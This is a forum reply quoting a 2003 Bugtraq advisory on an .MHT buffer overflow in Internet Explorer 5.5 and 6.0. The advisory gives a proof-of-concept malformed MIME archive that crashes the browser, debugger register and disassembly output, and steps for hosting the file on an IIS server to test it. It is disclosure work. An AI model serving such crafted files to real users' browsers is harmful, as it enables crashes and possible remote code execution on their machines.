Likes: 
I believe from ie6 SP1 on IE doesn't open any mht files directly from the
web anymore.
from the local filesystem it still works though.
----- Original Message -----
From: "Tom Tanaka" <tomatell@canon-sol.jp>
To: <bugtraq@securityfocus.com>
Sent: Monday, March 10, 2003 5:30 AM
Subject: .MHT Buffer Overflow in Internet Explorer
>
>
> CANON SYSTEM SOLUTIONS INC. Security Alert
>
> VULNERABILITY:.MHT Buffer Overflow in Internet Explorer
>
> DATE FOUND:March 2, 2003
>
> Severity:High Risk(code can be executed remotely)
> ================================================== ========================
> ====
> SUMMARY:
>
> IE5 introduced the new 'Web Archive' format for storing web pages, which
> have the extension MHT. The 'Web Archive' saves a web page as a single
> document complete with all images. The format is a standard
> mime/multipart e-mail message, a mime decoding program such as 7bit, 8bit
> and Base 64 decoder should be able to turn it into something usable with
> your OS and browser of choice.
>
> This format is pretty nifty and usable, however, there is a potential
> security breach found when used with encoded executable along with
> malformed MIME header in the 'Web Archive'. If the encode data is
> executable or has a single word "MZP" encoded within and Content-Type is
> not designated, IE5 will be terminated by critical buffer
> overflow.Consequently, one could compromise the client pc by executing
> malicious code in the memory.
> ================================================== ========================
> ====
> AFFECTED SYSTEM:
>
> Microsoft Internet Explorer 5.5 and 6.0; prior versions are not
> vulnerable.
> ================================================== ========================
> ====
> ANALYSIS:
>
> RFC822 describes the structure of message header used for the MIME. The
> followings are some of the identifiers defined for the MIME header.
>
> MIME-Version:
> Content-Type:
> Content-Trasfer-Encoding:
> Content-ID:
> Content-Description:
>
> The 'Content-Type' is used for defining the types of media transfered.
> The 'Web Archive' format utilizes the Multipart/Related content-type
> (defined in RFC2387) to properly embed the multiple web content files. As
> described in RFC2387, the Multipart/Related content-type provides a
> common mechanism for representing objects that are aggregates of related
> MIME body parts. When tranferring html or plain text data encoded in
> the 'Web Archive', IE5 interprets as a plain text with 'carriage return'
> code(0D0A) , otherwise as binary data without 'carriage return' code
> (0D0A). By manipulating the MIME header structure and the Base64 encoded
> data as an executable,4 bytes of memory can be overwritten.
>
>
> PROOF OF CONCEPT:
>
> The following format is usually used for the Web Archive.
> ----------------------------------------------
> From: <Saved from Microsoft Internet Explorer 5>
> Subject: =?iso-2022-jp?B?
> GyRCJT0lVSVIJSYlJyUiJVclbSVAJS8lSBsoQiBIb21lUGFnZQ ==?=
> Date: Tue, 4 Mar 2003 02:16:23 +0900
> MIME-Version: 1.0
> Content-Type: multipart/related;
> boundary="----=_NextPart_000_0000_01C2E1F4.0D559EA0";
> type="text/html"
> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
>
> This is a multi-part message in MIME format.
>
> ------=_NextPart_000_0000_01C2E1F4.0D559EA0
> Content-Location:file:///tomatell.exe
> Content-Transfer-Encoding: base64
>
> TVpQ
> ----------------------------------------------
>
>
> The following sample format contains malformed MIME header along with the
> Base64 encoded executable.
> ----------------------------------------------
> MIME-Version: 1.0
> ------=_NextPart_000_0000_01C2E1F4.0D559EA0
> Content-Location:file:///tomatell.exe
> Content-Transfer-Encoding: base64
>
> TVpQ
> ----------------------------------------------
>
> Note that the encoded string, "TVpQ", is the Win32 EXE signature located
> at the first three bytes of the EXE header. This is for the Win32 system
> to identify the data as a Win32 executable file. IE5 somehow reads this
> signature and interprets the data as an executable whereas the MIME
> encoder/decoder module,'inetcomm.dll', decodes as a plain 7 or 8 bit text
> data. Thus, IE5 creates a stream with a smaller buffersize than that of
> Base64 decoder has.
>
>
> The following error will occur when the above file is browsed by IE5.
>
> Unhandled exception in iexplore.exe: 0xC0000005: Access Violation.
>
>
>
> By debugging through the crash dump, the exception error is generated at
> the EIP(32-bit Instruction Pointer)=74CF497E called from inetcomm.dll to
> Kernel32.
>
> Register
> EAX = 00000000 EBX = 05AD3A20 ECX = 001FE074 EDX = 001FE190
> ESI = 05AD39D8 EDI = 00000000 [EIP = 74CF497E] ESP = 0607B2BC
> EBP = 0607B2FC EFL = 00000246
>
>
> \KernelObjects\CritSecOutOfMemoryEvent
>
> 74cf494c ff157412cd74 call dword ptr
> [KERNEL32.EnterCriticalSection]
> 74cf4952 834e3c02 or dword ptr [esi+3c],+02
> 74cf4956 33ff xor edi,edi
> 74cf4958 397e1c cmp dword ptr [esi+1c],edi
> 74cf495b 743f jz 74cf499c
> 74cf495d 397c2410 cmp dword ptr [esp+10],edi
> 74cf4961 8bce mov ecx,esi
> 74cf4963 7d06 jnl 74cf496b
> 74cf4965 ff742410 push dword ptr [esp+10]
> 74cf4969 eb25 jmp short 74cf4990
>
> 74cf496b c746441f000000 mov dword ptr [esi+44],0000001f
> 74cf4972 e888f3ffff call 74cf3cff
> 74cf4977 3bc7 cmp eax,edi
> 74cf4979 7c12 jl 74cf498d
> 74cf497b 8b461c mov eax,dword ptr [esi+1c]
> 74cf497e 8b08 mov ecx,dword ptr [eax] //Exception
>
>
> You could test the vulnerablity by copying above exploit to a file with
> an extention ".mht" and place it at the default root directory of IIS web
> server and set it as a default html of the server.
>
> WORKAROUND:
> Currently none available.
>
> Credit:
> Tom Tanaka
>
> /_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
> Tom Tanaka <tomatell@canon-sol.co.jp>
> Technical Manager, Security
> Software Products Department
> Tokyo Office
> CANON SYSTEM SOLUTIONS INC..
> 1-2-18 Ikenohata Taito-ku, Tokyo 110-0008, Japan
> Ph.: +81-3-5815-7243
> Fax : +81-3-5815-7262
> /_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
>
>
>
Quote
